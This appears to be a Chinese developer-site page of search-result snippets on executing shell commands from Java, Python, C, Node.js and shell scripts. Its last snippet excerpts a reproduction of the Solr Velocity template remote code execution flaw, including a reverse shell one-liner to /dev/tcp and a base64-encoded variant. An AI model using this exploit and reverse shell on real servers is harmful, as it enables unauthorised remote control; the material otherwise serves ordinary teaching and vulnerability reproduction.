首页
学习
活动
专区
圈层
工具
发布

Java执行Shell命令的方式

Java可以使用Runtime和ProcessBuilder两种方式执行Shell命令。...一、使用Runtime执行Shell命令 Java的Runtime类提供了一个可以执行系统命令的方法,exec()方法可以执行任何系统命令,例子如下: try {     Process process...二、使用ProcessBuilder执行Shell命令 Java的ProcessBuilder类可以用于创建操作系统进程。...三、注意事项 在执行Shell命令时,需要注意命令执行环境的权限问题。也就是说,Java运行的环境是否有权限执行指定的Shell命令,否则会抛出权限错误。...另外,如果Shell命令执行时间过长,可能会导致Java主线程阻塞等待。因此,对于可能执行时间较长的Shell命令,应当采用异步方式执行。

4.7K40
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Shell下执行mysql 命令

    在shell开发中,很多时候我们需要操作mysql数据库(比如:查询数据、导出数据等),但是我们又无法进入mysql命令行的环境,就需要在shell环境中模拟mysql的环境,使用mysql相关命令。...DEFAULT CHARSET=latin1 COMMENT='访问日志';   新建一个update_mysql.sh,内容如下: use chbdb;   source update.sql   然后执行如下命令...user=root -ppassword   优点:支持复杂的sql脚本 缺点: 1.需要两个文件:update.sql和update_mysql.sh 2.一旦中间出错,之后脚本就不会执行...方案3     新建一个shell脚本,格式如下: #!/bin/bash   mysql -u* -h* -p* <<EOF       Your SQL script.  ...方案4 准备一个sql脚本,如update.sql,然后执行如下命令: mysql -uroot -ppassword < update.sql   优点:支持复杂的sql脚本 缺点: 一旦中间出错

    1.9K20

    java 执行shell命令及日志收集避坑指南

    走过路过不要错过 点击蓝字关注我们 有时候我们需要调用系统命令执行一些东西,可能是为了方便,也可能是没有办法必须要调用。...涉及执行系统命令的东西,则就不能做跨平台了,这和java语言的初衷是相背的。   废话不多说,java如何执行shell命令?自然是调用java语言类库提供的接口API了。...1. java执行shell的api   执行shell命令,可以说系统级的调用,编程语言自然必定会提供相应api操作了。...所以,不要随便调用系统命令是个不错的实践。     2. 调用系统命令是硬件相关的调用;       java语言的思想是一次编写,到处使用。...java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * 功能描述: Shell命令运行工具类封装

    3.1K10

    Python 执行Shell 外部命令

    1、os.system() 此方法执行的外部程序,会将结果直接输出到标准输出。os.system的返回结果为执行shell 的 $? 值。 因此请执行没有输出结果的程序时适合使用此方法。...返回一个shell 命令的标准输出或者时错误输出 In [17]: commands.getoutput('ls /home -l') Out[17]: 'total 4\ndrwxr-xr-x 31...若是序列时,则第一个元素为可执行的命令 在unix 系统中, shell=Ture 和 shell=False(默认) 和 args 参数有一定的影响关系。...主要时 shell=False(默认值) 这个参数搞的鬼。 在UNIX中, shell=False 时 subprocess.Popen() 使用os.execvp()去执行响应的子程序。...设置 shell=True .这样当再执行类似的程序时,会调用相应的shell 去做  shell -c "cat /etc/passwd"  subprocess.Popen("cat /etc/passwd

    1.7K30

    Linux下使用popen()执行shell命令

    *command , const char *type ); int pclose(FILE *stream); 函数说明 popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个...shell以运行命令来开启一个进程。...pclose()函数关闭标准I/O流,等待命令执行结束,然后返回shell的终止状态。如果shell不能被执行,则pclose()返回的终止状态与shell已执行exit一样。   ...command参数是一个指向以NULL结束的shell命令字符串的指针。这行命令将被传到bin/sh并使用-c标志,shell将执行这个命令。   ...向这个流写内容相当于写入该命令的标准输入,命令的标准输出和调用popen()的进程相同;与之相反的,从流中读数据相当于读取命令的标准输出,命令的标准输入和调用popen()的进程相同。

    3.7K20

    python中执行shell命令的几个方

    最近有个需求就是页面上执行shell命令,第一想到的就是os.system, 代码如下: os.system('cat /proc/cpuinfo') 但是发现页面上打印的命令执行结果 0或者1,当然不满足需求了...适用于Python3 subprocess 可以执行shell命令的相关模块和函数有: os.system os.spawn os.popen –废弃 popen2.* –废弃 commands...=False) #shell为False的时候命令必须分开写 ret = subprocess.call("ls -l", shell=True) (2) check_call 执行命令,如果执行成功则返回状态码...subprocess.check_output("exit 1", shell=True) (4) subprocess.Popen(…) 用于执行复杂的系统命令 参数 注释 args...("mkdir t3", shell=True, cwd='/home/dev',) #在cwd目录下执行命令 import subprocess obj = subprocess.Popen

    4.1K10

    shell实现ssh登录并执行命令

    最近搞灰度发布,机器太多了,四个国家,每个国家两台机器,启停应用很费时间,所有打算写个shell脚本来提高效率(偷懒~) 使用expect可以不用输入密码,避免重复劳动。 那什么是expect?...而利用expect,则可以根据程序的提示,模拟标准输入提供给程序,从而实现自动化交互执行。这就是expect!!!真的很好用。...比如我们使用spawn、send和expect命令完成了ftp登陆主机,执行下载文件任务,但是我们希望在文件下载结束以后,仍然可以停留在ftp命令行状态,以便手动的执行后续命令,此时使用interact...到此就完成了,不用一台台机器登录上去执行命令了,一行命令搞定。...Copyright: 采用 知识共享署名4.0 国际许可协议进行许可 Links: https://lixj.fun/archives/shell实现ssh登录并执行命令

    2.3K10

    Node环境执行shell命令行exec

    来备份数据,每次都需要使用ssh 登录服务器, 但是有时候会登录超时(因为git的ip地址是美国的,我的服务器又是国内的,服务器会报警),导致备份数据失败 所以思考了一下,能不能使用node api来执行备份数据的操作...简直快捷又方便 本质就是通过node来执行shell命令行 直接开搞 主要是使用child_process的中的exec const { exec } = require("child_process"...数据备份失败", error: error.message, }; } }); 注意:这里的await execAsync(command); 其实不是等待数据备份完成,而是等待命令执行完成...,具体的相关信息在stdout和stderr 中 它并不会“知道”你这个命令是否 备份成功,它只是执行你拼接的 mongodump 命令,并返回执行过程中的标准输出 (stdout) 和标准错误 (stderr...如果命令执行过程中出现错误(例如 mongodump 执行失败),execAsync 会抛出异常(因为 exec 遵循的是 Node.js 的标准回调格式:(error, stdout, stderr)

    42710

    Solr Velocity模板远程命令执行漏洞+反弹shell

    作者来自我们:夜行字节(字节脉搏实验室) 这个漏洞出来好几天了一直没有时间进行复现 漏洞需要java的环境,这里我就直接在kali上进行搭建了 环境搭建 首先下载源码 wget https://mirrors.tuna.tsinghua.edu.cn...q=1&wt=velocity&v.template=custom&v.template.custom 这样就可以执行命令了,github上也有很多利用的脚本 反弹shell 好像和之前泛微oa的命令执行是一样的...,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容Java下奇怪的命令执行:https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw...所以我们直接执行命令的时候不能使用: bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1" 而是要利用base64编码: bash -c {echo,YmFzaCAtaSA...%3d%3d%7d%7c%7bbase64%2 这样我们就能反弹shell了 脚本就不写咯 :)

    1.7K10
    领券